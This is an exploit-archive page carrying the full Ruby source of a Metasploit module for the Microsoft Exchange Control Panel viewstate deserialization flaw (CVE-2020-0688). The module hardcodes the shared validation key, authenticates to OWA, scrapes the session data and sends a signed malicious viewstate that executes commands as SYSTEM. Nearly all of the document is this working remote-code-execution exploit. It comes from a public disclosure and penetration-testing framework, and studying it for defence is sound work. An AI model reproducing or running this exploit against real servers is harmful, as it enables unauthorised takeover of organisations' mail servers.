Exchange Control Panel Viewstate Deserialization

2020.03.05
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'bindata' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking # include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager DEFAULT_VIEWSTATE_GENERATOR = 'B97B4E27' VALIDATION_KEY = "\xcb\x27\x21\xab\xda\xf8\xe9\xdc\x51\x6d\x62\x1d\x8b\x8b\xf1\x3a\x2c\x9e\x86\x89\xa2\x53\x03\xbf" def initialize(info = {}) super(update_info(info, 'Name' => 'Exchange Control Panel Viewstate Deserialization', 'Description' => %q{ This module exploits a .NET serialization vulnerability in the Exchange Control Panel (ECP) web page. The vulnerability is due to Microsoft Exchange Server not randomizing the keys on a per-installation basis resulting in them using the same validationKey and decryptionKey values. With knowledge of these, values an attacker can craft a special viewstate to cause an OS command to be executed by NT_AUTHORITY\SYSTEM using .NET deserialization. }, 'Author' => 'Spencer McIntyre', 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2020-0688'], ['URL', 'https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys'], ], 'Platform' => 'win', 'Targets' => [ [ 'Windows (x86)', { 'Arch' => ARCH_X86 } ], [ 'Windows (x64)', { 'Arch' => ARCH_X64 } ], [ 'Windows (cmd)', { 'Arch' => ARCH_CMD, 'Space' => 450 } ] ], 'DefaultOptions' => { 'SSL' => true }, 'DefaultTarget' => 1, 'DisclosureDate' => '2020-02-11', 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ], 'Reliability' => [ REPEATABLE_SESSION, ], } )) register_options([ Opt::RPORT(443), OptString.new('TARGETURI', [ true, 'The base path to the web application', '/' ]), OptString.new('USERNAME', [ true, 'Username to authenticate as', '' ]), OptString.new('PASSWORD', [ true, 'The password to authenticate with' ]) ]) register_advanced_options([ OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]), ]) end def check state = get_request_setup viewstate = state[:viewstate] return CheckCode::Unknown if viewstate.nil? viewstate = Rex::Text.decode_base64(viewstate) body = viewstate[0...-20] signature = viewstate[-20..-1] unless generate_viewstate_signature(state[:viewstate_generator], state[:session_id], body) == signature return CheckCode::Safe end # we've validated the signature matches based on the data we have and thus # proven that we are capable of signing a viewstate ourselves CheckCode::Vulnerable end def generate_viewstate(generator, session_id, cmd) viewstate = ::Msf::Util::DotNetDeserialization.generate(cmd) signature = generate_viewstate_signature(generator, session_id, viewstate) Rex::Text.encode_base64(viewstate + signature) end def generate_viewstate_signature(generator, session_id, viewstate) mac_key_bytes = Rex::Text.hex_to_raw(generator).unpack('I<').pack('I>') mac_key_bytes << Rex::Text.to_unicode(session_id) OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), VALIDATION_KEY, viewstate + mac_key_bytes) end def exploit state = get_request_setup # the major limit is the max length of a GET request, the command will be # XML escaped and then base64 encoded which both increase the size if target.arch.first == ARCH_CMD execute_command(payload.encoded, opts={state: state}) else cmd_target = targets.select { |target| target.arch.include? ARCH_CMD }.first execute_cmdstager({linemax: cmd_target.opts['Space'], delay: datastore['CMDSTAGER::DELAY'], state: state}) end end def execute_command(cmd, opts) state = opts[:state] viewstate = generate_viewstate(state[:viewstate_generator], state[:session_id], cmd) 5.times do |iteration| # this request *must* be a GET request, can't use POST to use a larger viewstate send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'ecp', 'default.aspx'), 'cookie' => state[:cookies].join(''), 'agent' => state[:user_agent], 'vars_get' => { '__VIEWSTATE' => viewstate, '__VIEWSTATEGENERATOR' => state[:viewstate_generator] } }) break rescue Rex::ConnectionError, Errno::ECONNRESET => e vprint_warning('Encountered a connection error while sending the command, sleeping before retrying') sleep iteration end end def get_request_setup # need to use a newer default user-agent than what Metasploit currently provides # see: https://docs.microsoft.com/en-us/microsoft-edge/web-platform/user-agent-string user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.74 Safari/537.36 Edg/79.0.309.43' res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'owa', 'auth.owa'), 'method' => 'POST', 'agent' => user_agent, 'vars_post' => { 'password' => datastore['PASSWORD'], 'flags' => '4', 'destination' => full_uri(normalize_uri(target_uri.path, 'owa')), 'username' => datastore['USERNAME'] } }) fail_with(Failure::Unreachable, 'The initial HTTP request to the server failed') if res.nil? cookies = [res.get_cookies] res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'ecp', 'default.aspx'), 'cookie' => res.get_cookies, 'agent' => user_agent }) fail_with(Failure::UnexpectedReply, 'Failed to get the __VIEWSTATEGENERATOR page') unless res && res.code == 200 cookies << res.get_cookies viewstate_generator = res.body.scan(/id="__VIEWSTATEGENERATOR"\s+value="([a-fA-F0-9]{8})"/).flatten[0] if viewstate_generator.nil? print_warning("Failed to find the __VIEWSTATEGENERATOR, using the default value: #{DEFAULT_VIEWSTATE_GENERATOR}") viewstate_generator = DEFAULT_VIEWSTATE_GENERATOR else vprint_status("Recovered the __VIEWSTATEGENERATOR: #{viewstate_generator}") end viewstate = res.body.scan(/id="__VIEWSTATE"\s+value="([a-zA-Z0-9\+\/]+={0,2})"/).flatten[0] if viewstate.nil? vprint_warning('Failed to find the __VIEWSTATE value') end session_id = res.get_cookies.scan(/ASP\.NET_SessionId=([\w\-]+);/).flatten[0] if session_id.nil? fail_with(Failure::UnexpectedReply, 'Failed to get the ASP.NET_SessionId from the response cookies') end vprint_status("Recovered the ASP.NET_SessionID: #{session_id}") {user_agent: user_agent, cookies: cookies, viewstate: viewstate, viewstate_generator: viewstate_generator, session_id: session_id} end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top